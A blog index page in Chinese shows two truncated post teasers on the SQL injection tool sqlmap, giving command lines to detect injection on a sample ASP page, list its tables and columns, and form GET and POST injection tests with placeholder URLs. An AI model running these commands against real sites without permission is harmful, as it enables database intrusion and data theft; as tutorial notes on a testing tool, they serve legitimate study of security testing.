sqlmap学习笔记一

2016-11-17 流沙 sqlmap

access注入 http://www.a.com/0/View.asp?id=33 检测注入 C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/0/View.asp?id=33" 列表 C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/0/View.asp?id=33" --tables 列名 C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/0/View.asp?id=33" --colum...

阅读全文>>

评论(0) 浏览(2126)


sqlmap的简单用法

2016-11-13 流沙 sqlmap

sqlmap 再牛逼也就是个python的脚本,脚本再牛逼也得有–help -hh 所以第一件事当然是滚去看帮助文档。 sqlmap -hh 我操。。。。。。。这么多英文,多少只草泥马在心中奔腾,咋办,硬着头皮看呗,有些人头皮硬不了咋办,简单,来,哥教你简单的 注入分法不同,种类不同,来个简单的分类: 1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx”  2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx” 3....

阅读全文>>

评论(0) 浏览(412)


Powered by 流沙团